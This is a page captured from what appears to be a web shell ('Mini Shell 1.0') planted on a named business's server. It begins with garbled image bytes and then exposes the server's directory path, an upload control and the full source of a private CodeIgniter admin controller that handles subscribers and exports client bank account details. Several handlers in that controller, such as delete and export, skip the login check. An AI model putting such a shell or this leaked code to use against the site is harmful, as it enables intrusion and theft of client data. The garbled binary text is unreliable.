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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home/costmasters.in/www/application/modules/admin/controllers/client_master/
Upload File :
Current File : /home/costmasters.in/www/application/modules/admin/controllers/client_master/ClientMaster.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class ClientMaster extends ADMIN_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->library(['sendMail','form_validation']);
        $this->load->model(['frontend/Register_model','subscriber_model', 'header_model', 'Login_history_model', 'SubscriptionChangelog_model','Notification_model','frontend/Login_model']);
    }

    private function partial_products_ids()
    {
        $partial_products = $this->subscriber_model->partial_products(); 

        // Extract all product IDs from $partial_products
        $product_ids = array_map(function($product) {
            return $product->product_id;
        }, $partial_products);

        return "[" . implode(", ", $product_ids) . "]";  // This will return something like [4, 24, 25, 26, 32]
    }

    private function get_product_ids($type)
    {
        if ($type === 'partial') {
            $products = $this->subscriber_model->partial_products(); 
        } elseif ($type === 'custom') {
            $products = $this->subscriber_model->custom_products(); 
        } else {
            return []; // Return empty array if type is invalid
        }

        // Extract product IDs
        
        $product_ids = array_map(function($product) {
            return $product->product_id;
        }, $products);

         return "[" . implode(", ", $product_ids) . "]";  // This will return something like [4, 24, 25, 26, 32]

    }

    public function index()
    {
        $this->login_check();
        $data = $head = array();
        $head['title'] = 'CostMasters Admin - Client Master';
        $head['description'] = 'Client Management';
        $head['keywords'] = '';
        $head['profile'] = $this->header_model->profile($this->user_id);

        // Fetch the status from URL
        $status = $this->input->get('status');
        $data['status'] = $status; // Pass status to view

        if ($this->role == 'admin') {
            $data['subscribers'] = !$status 
                ? $this->subscriber_model->get_subscribers() 
                : $this->subscriber_model->get_users_by_status($status);
        } else {
            $data['subscribers'] = !$status 
                ? $this->subscriber_model->get_transfered_subscribers() 
                : $this->subscriber_model->get_subadmin_users_by_status($status);
        }

        $this->load->view('parts/header', $head);
        $this->load->view('client_master/subscribers', $data);
        $this->load->view('parts/footer');
    }

    public function view($id)
    {
        $this->login_check();
        $data = $head = array();
        $head['title'] = 'CostMasters Admin - View Subscriber';
        $head['description'] = '!';
        $head['keywords'] = '';
        $head['profile'] = $this->header_model->profile($this->user_id);        
        if($this->role == 'admin'){
            $data['subscriber'] = $this->subscriber_model->get_subscriber($id);
        }else{
           $data['subscriber'] = $this->subscriber_model->get_transfered_subscriber($id);
        }
        $data['user_logs'] = $this->SubscriptionChangelog_model->getUserlog($id);
        $data['subscription_types'] = $this->SubscriptionChangelog_model->get_subscription_types();
        $data['tenures'] = $this->SubscriptionChangelog_model->get_all_tenures_for_user($id);
        $data['partial_web'] = $this->Register_model->partial_web();
        $data['partial_product_id'] = $this->partial_products_ids('partial'); 
        $data['custom_id'] = $this->get_product_ids('custom'); 
        $data['commodity_head'] = $this->Login_model->commodity_head();
        $data['commodity'] = $this->Register_model->commodity();
        $data['selectedcustom__items'] = $this->Register_model->custom_selected_items($id);
        if (empty($data['subscriber'])) {
            show_404();
        }
        $this->load->view('parts/header', $head);
        $this->load->view('client_master/view_subscriber', $data);
        $this->load->view('parts/footer');
    }

    public function export()
    {
        // Create a dynamic file name
        $fileName = 'data-' . time() . '.csv';
        
        // Load Excel library
        $this->load->library('excel');
        
        // Fetch data
        if($this->role == 'admin'){
        $listInfo = $this->subscriber_model->exportList();
        }else{
        $listInfo = $this->subscriber_model->exportSubadminList();
        }
        $objPHPExcel = new PHPExcel();
        $objPHPExcel->setActiveSheetIndex(0);

        // Set Headers
        $this->setExcelHeaders($objPHPExcel);

        // Set Data Rows
        $rowCount = 2;
        foreach ($listInfo as $list) {
            $this->setExcelRowData($objPHPExcel, $list, $rowCount);
            $rowCount++;
        }

        // Set the filename and send headers for CSV download
        $filename = "client-" . date("Y-m-d") . ".csv";
        header('Content-Type: application/vnd.ms-excel');
        header('Content-Disposition: attachment;filename="' . $filename . '"');
        header('Cache-Control: max-age=0');
        
        $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'CSV');
        $objWriter->save('php://output');
    }

    // Helper method to set Excel headers
    private function setExcelHeaders($objPHPExcel)
    {
        $headers = [
            'ID', 'FirstName', 'LastName', 'Trial', 'Designation', 'Organization', 
            'Mobile', 'Email', 'Website', 'Turn Over', 'Business_Type', 'Subscription Type', 'Choose Type',
            'subtotal_inr', 'subtotal_usd', 'total_inr', 'total_usd', 'Start_date', 'End_date', 'Payment Method',
            'Account number', 'IFSC code', 'Swift code', 'Mode Amount', 'Mode Drawn', 'Mode Payment', 'Mode Date', 
            'Mode Number', 'Users Selected', 'Status', 'Created At'
        ];
        
        $column = 'A';
        foreach ($headers as $header) {
            $objPHPExcel->getActiveSheet()->SetCellValue($column . '1', $header);
            $column++;
        }
    }

    // Helper method to set data for each row
    private function setExcelRowData($objPHPExcel, $list, $rowCount)
    {
        $objPHPExcel->getActiveSheet()->SetCellValue('A' . $rowCount, $list->id);
        $objPHPExcel->getActiveSheet()->SetCellValue('B' . $rowCount, $list->first_name);
        $objPHPExcel->getActiveSheet()->SetCellValue('C' . $rowCount, $list->last_name);
        $objPHPExcel->getActiveSheet()->SetCellValue('D' . $rowCount, $list->free_trial);
        $objPHPExcel->getActiveSheet()->SetCellValue('E' . $rowCount, $list->designation);
        $objPHPExcel->getActiveSheet()->SetCellValue('F' . $rowCount, $list->organization);
        $objPHPExcel->getActiveSheet()->SetCellValue('G' . $rowCount, $list->mobile);
        $objPHPExcel->getActiveSheet()->SetCellValue('H' . $rowCount, $list->email);
        $objPHPExcel->getActiveSheet()->SetCellValue('I' . $rowCount, $list->website);
        $objPHPExcel->getActiveSheet()->SetCellValue('J' . $rowCount, $list->turn_over);
        $objPHPExcel->getActiveSheet()->SetCellValue('K' . $rowCount, $list->business_type);
        $objPHPExcel->getActiveSheet()->SetCellValue('L' . $rowCount, $list->product_name);

        // Handle subscription type logic and choose_type
       if ($list->subscription_type == '4' || $list->subscription_type == '24' || $list->subscription_type == '25' || $list->subscription_type == '26') {

                $explode = array_map('intval', explode(',', $list->choose_type));
                $this->db->where_in('partial_web_access.product_name', $explode);
                $this->db->join('tbl_item_cat', 'tbl_item_cat.id = partial_web_access.product_name', 'INNER');
                $this->db->select('partial_web_access.*, tbl_item_cat.category_name');
                $this->db->from('partial_web_access');
                $query = $this->db->get();
                $result = $query->result();

                $categoryNames = array();
                foreach ($result as $row) {
                    $categoryNames[] = $row->category_name;
                }
                $categoryNamesString = implode(', ', $categoryNames);
                $objPHPExcel->getActiveSheet()->SetCellValue('M' . $rowCount, $categoryNamesString);

            } else {
                $objPHPExcel->getActiveSheet()->SetCellValue('M' . $rowCount, $list->choose_type);
            }

        $objPHPExcel->getActiveSheet()->SetCellValue('N' . $rowCount, $list->subtotal_inr);
        $objPHPExcel->getActiveSheet()->SetCellValue('O' . $rowCount, $list->subtotal_usd);
        $objPHPExcel->getActiveSheet()->SetCellValue('P' . $rowCount, $list->total_inr);
        $objPHPExcel->getActiveSheet()->SetCellValue('Q' . $rowCount, $list->total_usd);
        $objPHPExcel->getActiveSheet()->SetCellValue('R' . $rowCount, $list->start_reg);
        $objPHPExcel->getActiveSheet()->SetCellValue('S' . $rowCount, $list->end_reg);
        $objPHPExcel->getActiveSheet()->SetCellValue('T' . $rowCount, $list->payment_method);
        $objPHPExcel->getActiveSheet()->SetCellValue('U' . $rowCount, $list->account_no);
        $objPHPExcel->getActiveSheet()->SetCellValue('V' . $rowCount, $list->ifsc_code);
        $objPHPExcel->getActiveSheet()->SetCellValue('W' . $rowCount, $list->swift_code);
        $objPHPExcel->getActiveSheet()->SetCellValue('X' . $rowCount, $list->mode_amount);
        $objPHPExcel->getActiveSheet()->SetCellValue('Y' . $rowCount, $list->mode_drawn);
        $objPHPExcel->getActiveSheet()->SetCellValue('Z' . $rowCount, $list->mode_payment);
        $objPHPExcel->getActiveSheet()->SetCellValue('AA' . $rowCount, $list->mode_date);
        $objPHPExcel->getActiveSheet()->SetCellValue('AB' . $rowCount, $list->mode_no);
        $objPHPExcel->getActiveSheet()->SetCellValue('AC' . $rowCount, $list->select_users);
        $objPHPExcel->getActiveSheet()->SetCellValue('AD' . $rowCount, $list->user_type);

        // Corrected column for created_at, changing to 'AK'
        $objPHPExcel->getActiveSheet()->SetCellValue('AE' . $rowCount, $list->created_at);
    }

    // Helper method to handle 'Choose Type' logic
    private function handleChooseType($objPHPExcel, $list, $rowCount)
    {
        $product_ids = (array) $this->partial_products_ids(); // Ensure it's an array

        if (in_array((int) $list->subscription_type, $product_ids, true)) {
            $explode = !empty($list->choose_type) ? explode(',', $list->choose_type) : [];

            if (!empty($explode)) {
                $this->db->where_in('partial_web_access.product_name', $explode);
                $this->db->join('tbl_item_cat', 'tbl_item_cat.id = partial_web_access.product_name', 'INNER');
                $this->db->select('partial_web_access.*, tbl_item_cat.category_name');
                $this->db->from('partial_web_access');
                $query = $this->db->get();
                $result = $query->result();

                $categoryNames = array_map(function ($row) {
                    return $row->category_name;
                }, $result);

                $categoryNamesString = implode(', ', $categoryNames);
                $objPHPExcel->getActiveSheet()->SetCellValue('M' . $rowCount, $categoryNamesString);
            } else {
                $objPHPExcel->getActiveSheet()->SetCellValue('M' . $rowCount, 'No Categories');
            }
        } else {
            $objPHPExcel->getActiveSheet()->SetCellValue('M' . $rowCount, $list->choose_type);
        }
    }

    private function send_confirmation_email($toEmail, $user_name)
    {

        $subject = 'Your Login Details Approved - Start Using Our Services Today!';

        // Prepare email content
        $data = [
            'username' => $user_name,
            'url' => base_url('login')
        ];

        // Load the HTML email view with data
        $message = $this->load->view('frontend/email_template/login-approval', ['data' => $data], true);


        $send_mail = $this->sendmail->sendTo($toEmail, $user_name,$subject, $message);

        // Send email and log any errors
        if (!$send_mail) {
            log_message('error', 'Failed to send email to ' . $toEmail . '. Error: ' . $this->mail->ErrorInfo);
        }
    }

    public function delete($id)
    {
        $deleted = $this->subscriber_model->delete($id);

        if ($deleted) {
            $this->session->set_flashdata('message', 'Client subscription deleted successfully.');
        } else {
            $this->session->set_flashdata('error', 'Failed to delete client subscription. Please try again.');
        }

        redirect('admin/client-master');
    }

    public function user_status_changed()
    {
        // Sanitize and get input values
        $id = $this->input->post('id');
        $name = $this->input->post('name');
        $email = $this->input->post('email');
        $status = $this->input->post('status');
        $enddate = $this->input->post('enddate');
        $subscription_period = $this->input->post('user_subscription_period');

        // Validate and sanitize $status before using it in condition
        $user_status = ($status == 'Register') ? 'Unregister' : 'Register';

        // Prepare date variables
        $startdate = date('Y-m-d');
        if ($subscription_period == '3_days') {
            $enddate = date('Y-m-d', strtotime('+3 days'));
        }
        $trial = date('Y-m-d H:i:s', strtotime('+3 days'));

        // Prepare data for update
        $data = array(
            'user_type' => $user_status,
            'trial_expiration_date' => $trial,
            'start_reg' => $startdate,
            'end_reg' => $enddate
        );

        // Update database record
        $this->db->where('id', $id);
        $this->db->update('subscription_register', $data);

         $log_data = array(
            'user_id' => $id,
            'change_date' => date('Y-m-d H:i:s'),
            'change_details' => "User status changed from $status to $user_status",
            'changed_by' => $this->session->userdata('logged_in'),
            'ip_address' => $this->input->ip_address(),
            'entry_type' => 'log'
        );
        $this->db->insert('subscription_change_log', $log_data);

        // Send confirmation email if status changed to 'Register'
        if ($status == 'Unregister') {
            $this->send_confirmation_email($email, $name);
        }

        // Set flash message for success
        $this->session->set_flashdata('msg', "User status has been changed successfully.");
        $this->session->set_flashdata('msg_class', 'alert-success');

        // Redirect to the referring page
        return redirect('admin/client-master');
    }

    public function update($id)
    {
        $this->load->library('form_validation');
        $response = array();
     

        // Retrieve form data
        $subscription_period = $this->input->post('subscription_period');
        $tenure_id = $this->input->post('tenure_id');
        $change_start = $this->input->post('change_start');
        $change_end = $this->input->post('change_end');
        $sub_type = $this->input->post('subscription_type_'); // Product ID
        $choose_types = $this->input->post('selected_categories');
        $choose_items = $this->input->post('selected_commodities');
        $remarks = $this->input->post('remarks');
        $extend_15_days = $this->input->post('extend_15_days');
        $extend_other_15_days = $this->input->post('extend_other_15_days');
        $lite_cir_monthly_report = $this->input->post('lite_cir_monthly_report');
        $lite_cir_monthly_report = !empty($lite_cir_monthly_report) ? $lite_cir_monthly_report : '0';

        // Fetch existing data
        $this->db->select('sr.id, sr.subscription_period, sr.start_reg, sr.end_reg, sr.subscription_type, sr.remarks, GROUP_CONCAT(DISTINCT sr.choose_type ORDER BY sr.choose_type ASC) as choose_type, sr.extend_15_days, sr.extend_other_15_days, sr.is_checked, GROUP_CONCAT(DISTINCT ct.item_id ORDER BY ct.item_id ASC) as item_list');
        $this->db->from('subscription_register sr');
        $this->db->join('user_item_access ct', 'FIND_IN_SET(ct.category_id, sr.choose_type) > 0 AND sr.id = ct.user_id', 'left'); 
        $this->db->where('sr.id', $id);
        $this->db->group_by('sr.id');
        $query = $this->db->get();
        $existing_data = $query->row_array();
   

        // Existing values from DB
        $existing_choose_items = !empty($existing_data['item_list']) ? explode(',', $existing_data['item_list']) : [];

        // Convert choose_items to an array if it's a string
        $choose_items_array = is_array($choose_items) ? array_map('trim', $choose_items) : explode(',', trim($choose_items));

        // Trim and sort existing & new items for accurate comparison
        $existing_choose_items_array = array_map('trim', $existing_choose_items);

        if (!$existing_data) {
            $response['status'] = FALSE;
            $response['message'] = '<div id="message"><div id="errmsg" class="alert alert-danger">No record found with this ID.</div></div>';
            echo json_encode($response);
            return;
        }

        // Fetch product names mapping
        $product_names = $this->db->select('product_id, product_name')->get('product_master')->result_array();
        $product_names = array_column($product_names, 'product_name', 'product_id');
     
       $partial_web = $this->Register_model->partial_web();
        $commodity_names = array_column($partial_web, 'category_name', 'partial_id');
        // Detect changes
        $data = array();
        $change_details = array();
        $old_data = array();

        // Process changes
        $this->processChanges($subscription_period, $existing_data['subscription_period'], 'subscription_period', $data, $change_details, $old_data);
        $this->processChanges($change_start, $existing_data['start_reg'], 'start_reg', $data, $change_details, $old_data);
        $this->processChanges($change_end, $existing_data['end_reg'], 'end_reg', $data, $change_details, $old_data);
        $this->processChanges($sub_type, $existing_data['subscription_type'], 'subscription_type', $data, $change_details, $old_data, $product_names);
        $this->processChanges($remarks, $existing_data['remarks'], 'remarks', $data, $change_details, $old_data);

        $this->processChanges($choose_types, $existing_data['choose_type'], 'choose_type', $data, $change_details, $old_data, $product_names, $commodity_names);


        // Handle extensions
        $this->handleExtensions($extend_15_days, $extend_other_15_days, $existing_data, $data, $change_details, $old_data);
        $lite_cir_monthly_report = is_array($lite_cir_monthly_report) ? implode(', ', $lite_cir_monthly_report) : $lite_cir_monthly_report;
        // Handle Lite CIR Monthly Report
        if ($lite_cir_monthly_report !== $existing_data['is_checked']) {
            $data['is_checked'] = $lite_cir_monthly_report;
            $change_details[] = "Lite CIR Monthly Report status changed to " . $lite_cir_monthly_report;
            $old_data['is_checked'] = $existing_data['is_checked'];
        }
  
          // Fetch all item names with correct column names
        $commodity_names = $this->db->select('id, item_name')->get('category_items')->result_array();
        $commodity_names = array_column($commodity_names, 'item_name', 'id'); // Mapping ID → Item Name

        if ($existing_choose_items_array !== $choose_items_array) {
            $data['item_list'] = implode(',', $choose_items_array);
            $old_data['item_list'] = implode(',', $existing_choose_items_array);

            // Convert IDs to names (Ensure IDs are treated as strings for mapping)
            $old_items = array_map(function ($id) use ($commodity_names) {
                return isset($commodity_names[(string)$id]) ? $commodity_names[(string)$id] : "Unknown ($id)";
            }, $existing_choose_items_array);

            $new_items = array_map(function ($id) use ($commodity_names) {
                return isset($commodity_names[(string)$id]) ? $commodity_names[(string)$id] : "Unknown ($id)";
            }, $choose_items_array);
            $old_data['item_list'] =  $old_items;

            // Debugging: Print before & after conversion
            error_log("Old Items: " . print_r($old_items, true));
            error_log("New Items: " . print_r($new_items, true));

            $change_details[] = "Selected items changed from [" . implode(', ', $old_items) . "] to [" . implode(', ', $new_items) . "].";
        }
       

        // Update and log changes
        if (!empty(array_filter($data))) {
            $updateCategories = $this->updateUserCategoriesAndItems($id, $choose_types, $choose_items);
            $updateSubscription = $this->updateSubscription($id, $data, $tenure_id, $change_details, $change_start, $change_end, $old_data, $existing_data);

            if ($updateCategories || $updateSubscription) {
                $response['status'] = TRUE;
                $response['message'] = 'Subscription Updated successfully.';
                $this->session->set_flashdata('msg', "Subscription Updated successfully.");
                $this->session->set_flashdata('msg_class', 'alert-success');           
            } else {
                $response['status'] = FALSE;
                $response['message'] = '<div id="message"><div id="errmsg" class="alert alert-danger"><p>No changes detected. Please modify the tenure before updating.</p></div></div>';           
            }
        } else {
            $response['status'] = FALSE;
            $response['message'] = '<div id="message"><div id="errmsg" class="alert alert-danger"><p>No changes detected. Please modify the tenure before updating.</p></div></div>';
            echo json_encode($response);
        }
    }

    public function updateUserCategoriesAndItems($user_id, $selected_categories, $selected_commodities) {
        // Convert category & item strings into arrays
        $categories = explode(',', $selected_categories);
        $commodities = explode(',', $selected_commodities);

        // Remove existing entries for this user
        $this->db->where('user_id', $user_id);
        $this->db->delete('user_item_access');

        // Prepare batch insert data
        $insert_data = [];
        foreach ($commodities as $index => $item_id) {
            $category_id = $categories[$index] ?? end($categories); // Use last category if index exceeds
            $insert_data[] = [
                'user_id'     => $user_id,
                'category_id' => $category_id,
                'item_id'     => $item_id,
                'status'      => 1, // Assuming active
                'created_at'  => date('Y-m-d H:i:s')
            ];
        }

        // Insert new records
        if (!empty($insert_data)) {
            $this->db->insert_batch('user_item_access', $insert_data);
            $this->session->set_flashdata('msg', "Subscription updated successfully.");

        }
    }

    private function processChanges($new_value, $old_value, $field_name, &$data, &$change_details, &$old_data, $product_names = array(), $commodity_names = array())
    {
        // Normalize NULL values
        $old_value = ($old_value === null) ? '' : $old_value;
        $new_value = ($new_value === null) ? '' : $new_value;

        // Convert arrays to comma-separated strings
        if (is_array($new_value)) {
            $new_value = implode(', ', array_filter(array_map('trim', $new_value)));
        }
        if (is_array($old_value)) {
            $old_value = implode(', ', array_filter(array_map('trim', $old_value)));
        }

        // Trim whitespace and sort values to prevent false changes
        $old_value = implode(', ', array_map('trim', explode(',', $old_value)));
        $new_value = implode(', ', array_map('trim', explode(',', $new_value)));

        // Check for changes
        if ($new_value !== $old_value) {
            // Update the data array
            $data[$field_name] = $new_value;

            // Standardize field names
            $field_map = [
                'start_reg' => 'start_date',
                'end_reg' => 'end_date',
                'choose_type' => 'selected_categories'
            ];
            $field_name_display = isset($field_map[$field_name]) ? $field_map[$field_name] : ucfirst(str_replace('_', ' ', $field_name));

            // Convert product IDs to names
            $new_value_display = ($field_name == 'subscription_type' && isset($product_names[$new_value])) ? $product_names[$new_value] : $new_value;
            $old_value_display = ($field_name == 'subscription_type' && isset($product_names[$old_value])) ? $product_names[$old_value] : $old_value;

            // Convert commodity IDs to names
            if ($field_name == 'choose_type') {
                $new_value_display = $this->convertToReadableFormat($new_value, $commodity_names);
                $old_value_display = $this->convertToReadableFormat($old_value, $commodity_names);
            }

            // Log the change
            $change_details[] = "$field_name_display changed from \"$old_value_display\" to \"$new_value_display\"";

            // Store old data for tracking
            $old_data[$field_name] = $old_value_display;
        }
    }

    private function convertToReadableFormat($value, $commodity_names)
    {
        $choose_types_array = explode(',', $value);
        $mapped_commodity_names = [];
        foreach ($choose_types_array as $commodity_id) {
            $commodity_id = trim($commodity_id);
            if (is_numeric($commodity_id)) {
                $commodity_id = intval($commodity_id);
                $mapped_commodity_names[] = isset($commodity_names[$commodity_id]) ? $commodity_names[$commodity_id] : 'Unknown Commodity';
            }
        }
        return implode(', ', $mapped_commodity_names);
    }

    private function handleExtensions($extend_15_days, $extend_other_15_days, $existing_data, &$data, &$change_details, &$old_data)
    {
        if ($extend_15_days == 1 && $existing_data['extend_15_days'] != 1) {
            $new_end_date = date('Y-m-d', strtotime($existing_data['end_reg'] . ' +15 days'));
            $data['end_reg'] = $new_end_date;
            $data['extend_15_days'] = 1;
            $change_details[] = "15 days extension applied. New end date: " . $new_end_date;
            $old_data[] = $existing_data['end_reg'];
        }

        if ($extend_other_15_days == 1 && $existing_data['extend_other_15_days'] != 1) {
            if ($existing_data['extend_15_days'] == 1) {
                $new_end_date = isset($data['end_reg']) ? date('Y-m-d', strtotime($data['end_reg'] . ' +15 days')) : date('Y-m-d', strtotime($existing_data['end_reg'] . ' +15 days'));
                $data['end_reg'] = $new_end_date;
                $data['extend_other_15_days'] = 1;
                $change_details[] = "Additional 15 days extension applied. New end date: " . $new_end_date;
                $old_data[] = $existing_data['end_reg'];
            } else {
                $response['message'] = '<div id="message"><div id="errmsg" class="alert alert-danger"><p>You must first select the initial 15-day extension before extending another 15 days.</p></div></div>';
                echo json_encode($response);
                return;
            }
        }
    }

    private function updateSubscription($id, $data, $tenure_id, $change_details, $change_start, $change_end, $old_data, $existing_data)
    {
        $this->db->trans_start(); // Begin transaction

        // Clear fields for current tenure if needed
        if (!empty($tenure_id) && $tenure_id[0] > 0) {
            $data['extend_15_days'] = '';
            $data['extend_other_15_days'] = '';
        }
        if (isset($data['item_list'])) {
            unset($data['item_list']);
        }

        // Update the subscription_register table
        $this->db->where('id', $id);
        $this->db->update('subscription_register', $data);

        // Prepare log data
        $tenure_id_value = !empty($tenure_id) ? $tenure_id[0] : null;        

        $log_data = $this->prepareLogData($id, $tenure_id_value, $existing_data, $change_start, $change_end, $old_data, $change_details);

        // Insert log data
        $this->db->insert('subscription_change_log', $log_data);

        $this->db->trans_complete(); // Complete transaction

        if ($this->db->trans_status() === FALSE) {
            $response['status'] = FALSE;
            $response['message'] = '<div id="message"><div id="errmsg" class="alert alert-danger"><p>Failed to update subscription.</p></div></div>';
        } else {
            $response['status'] = TRUE;
            $response['message'] = 'Subscription updated successfully.';
            $this->session->set_flashdata('msg', "Subscription updated successfully.");
            $this->session->set_flashdata('msg_class', 'alert-success');
        }

        echo json_encode($response);
    }

    // Helper method to prepare log data
    private function prepareLogData($id, $tenure_id_value, $existing_data, $change_start, $change_end, $old_data, $change_details) {
        function flattenArray($array) {
            $result = [];
            array_walk_recursive($array, function($item) use (&$result) {
                $result[] = is_array($item) ? json_encode($item) : strval($item); // Convert arrays to JSON, others to string
            });
            return $result;
            }

        // Ensure change_details is an array
        if (!is_array($change_details)) {
            $change_details = (array) $change_details;
        }

        // Flatten the array completely
        $change_details = flattenArray($change_details);

        // Convert any remaining array elements to JSON strings
        $change_details = array_map(function($item) {
            return is_array($item) ? json_encode($item) : strval($item); // Convert to string
        }, $change_details);

        return array(
            'user_id' => $id,
            'change_date' => date('Y-m-d H:i:s'),
            'tenure_id' => $tenure_id_value,
            'old_entry' => !empty($old_data) ? implode('; ', array_map('strval', flattenArray($old_data))) : '', // Ensure old_data is flattened & converted
            'change_details' => !empty($change_details) ? implode('; ', $change_details) : '',
            'changed_by' => $this->session->userdata('logged_in'),
            'initial_start_date' => $existing_data['start_reg'],
            'initial_end_date' => $existing_data['end_reg'],
            'subscription_type' => $existing_data['subscription_type'],
            'subscription_period' => $existing_data['subscription_period'],
            'choose_type' => $existing_data['choose_type'],
            'ip_address' => $this->input->ip_address(),
            'manual_start_date' => !empty($change_start[0]) ? $change_start[0] : null,
            'calculated_end_date' => !empty($change_end[0]) ? $change_end[0] : null,
            'is_checked' => isset($existing_data['is_checked']) ? $existing_data['is_checked'] : '0',
            'extend_15_days' => $existing_data['extend_15_days'],
            'extend_other_15_days' => $existing_data['extend_other_15_days'],
            'entry_type' => ($tenure_id_value > 0) ? 'tenure' : 'log'
        );
    }

    // Refactor exportUserlog to avoid repetitive code
    public function exportUserlog($id)
    {
        $fileName = 'data-' . time() . '.csv';
        $this->load->library('excel');
        $listInfo = $this->SubscriptionChangelog_model->exportList($id);
        $objPHPExcel = new PHPExcel();
        $objPHPExcel->setActiveSheetIndex(0);

        // Set Header
        $headers = ['Sr No', 'Change By', 'Date Of Change', 'Old Entry', 'Changes', 'IP Address'];
        foreach ($headers as $index => $header) {
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow($index, 1, $header);
        }

        // Set Row
        $rowCount = 2;
        $srNo = 1;
        foreach ($listInfo as $list) {
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(0, $rowCount, (string)$srNo);
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(1, $rowCount, (string)$list->changed_by);
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(2, $rowCount, (string)$list->change_date);
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(3, $rowCount, (string)$list->old_entry);
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(4, $rowCount, (string)$list->change_details);
            $objPHPExcel->getActiveSheet()->SetCellValueByColumnAndRow(5, $rowCount, (string)$list->ip_address);
            $rowCount++;
            $srNo++;
        }

        // Set filename and export
        header('Content-Type: application/vnd.ms-excel');
        header('Content-Disposition: attachment;filename="' . $fileName . '"');
        header('Cache-Control: max-age=0');
        $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'CSV');
        $objWriter->save('php://output');
    }

    public function login_history()
    {
        $this->login_check();
        $data = $head = array();
        $head['title'] = 'CostMasters Admin - Client Master';
        $head['description'] = '!';
        $head['keywords'] = '';
        $head['profile'] = $this->header_model->profile($this->user_id);

        $data['history'] = $this->Login_history_model->get_login_history();

        $this->load->view('parts/header', $head);
        $this->load->view('client_master/login_history', $data);
        $this->load->view('parts/footer');
    }

    public function get_users()
    {
        $this->login_check();
        $selectedCompanies = $this->input->post('company'); 
        if (!is_array($selectedCompanies)) {
            $selectedCompanies = [];
        }
        $users = array();
        foreach ($selectedCompanies as $company) {
            $companyUsers = $this->Login_history_model->get_users($company);
            if (!is_array($companyUsers)) {
                $companyUsers = [];
            }
            $users = array_merge($users, $companyUsers);
        }
        echo json_encode($users);
        return $users;
    }

    public function get_all_Users()
    {
        $this->login_check(); // Ensure user authentication, if needed
        $selectedCompany = $this->input->post('company');
        if ($selectedCompany === 'all') {
            $users = $this->Login_history_model->get_all_users();
        } else {
            $users = $this->Login_history_model->get_users($selectedCompany);
        }

        echo json_encode($users);
    }

    public function search()
    {
        // Retrieve search parameters from POST data
        $start_date = $this->input->post('start_date');
        $end_date = $this->input->post('end_date');
        $company = $this->input->post('company');
        $user = $this->input->post('user');

        // Check if "All Users" is selected
        if ($user === 'all') {
            $user = '';
        }
        // Check if "All Companies" is selected
        if ($company === 'all') {
            $company = '';
        }

        $filtered_data = $this->Login_history_model->get_filtered_data($start_date, $end_date, $company, $user);
        $monthly_counts = [];
        $total_unique_ips = [];

        // Check if $filtered_data is an array and iterate through it
        if (is_array($filtered_data)) {
            foreach ($filtered_data as $data) {
                // Extract year and month from login date
                $year_month = date('Y-m', strtotime($data['login_date']));
                if (!isset($monthly_counts[$year_month])) {
                    $monthly_counts[$year_month] = [
                        'total_logins' => 0,
                        'total_time_spent' => 0
                    ];
                }

                // Increment counts for the month
                $monthly_counts[$year_month]['total_logins']++;
                $monthly_counts[$year_month]['total_time_spent'] += strtotime($data['logout_time']) - strtotime($data['login_time']);

                // Collect unique IPs
                $total_unique_ips[] = $data['ip_address'];
            }
        }

        // Calculate total counts
        $total_counts = [
            'total_logins' => count($filtered_data),
            'total_time_spent' => 0,
            'total_unique_ips' => count(array_unique($total_unique_ips))
        ];

        // Ensure $monthly_counts is not empty before iterating over it
        if (!empty($monthly_counts)) {
            foreach ($monthly_counts as $month => $month_data) {
                $total_counts['total_time_spent'] += $month_data['total_time_spent'];
            }

            // Format total time spent
            $total_counts['total_time_spent'] = gmdate("H:i:s", $total_counts['total_time_spent']);
        } else {
            $total_counts['total_time_spent'] = "00:00:00"; // Default value when no data 
        }

        // Retrieve summary data
        $summary_data = $this->Login_history_model->get_summary_data($start_date, $end_date, $company, $user);
        $response = [
            'filtered_data' => $filtered_data,
            'monthly_counts' => $monthly_counts,
            'total_counts' => $total_counts,
            'summary_data' => $summary_data
        ];

        $json_response = json_encode($response);
        echo $json_response;
        return $json_response;
    }

    public function export_history()
    {
        $start_date = $this->input->post('start_date') ?: NULL;
        $end_date = $this->input->post('end_date') ?: NULL;
        $company = ($this->input->post('company') !== 'all') ? $this->input->post('company') : NULL;
        $user = ($this->input->post('user') !== 'all') ? $this->input->post('user') : NULL;

        $filtered_data = $this->Login_history_model->export_filtered_data($start_date, $end_date, $company, $user);
        echo json_encode($filtered_data);
        return $filtered_data;
    }

    public function update_subscription_type()
    {
        $subscriptionId = $this->input->post('subscription_id');
        $isChecked = $this->input->post('isChecked');

        if (!$subscriptionId || !isset($isChecked)) {
            echo json_encode(['status' => FALSE, 'message' => 'Invalid request data.']);
            return;
        }

        $this->db->set('is_checked', $isChecked);
        $this->db->where('id', $subscriptionId);
        $this->db->update('subscription_register');

        if ($this->db->affected_rows() > 0) {
            echo json_encode(['status' => TRUE, 'message' => 'Subscription type updated successfully.']);
        } else {
            echo json_encode(['status' => FALSE, 'message' => 'No changes were made.']);
        }
    }

    public function transfer_to_subadmin()
    {
        // Retrieve selected clients from POST data
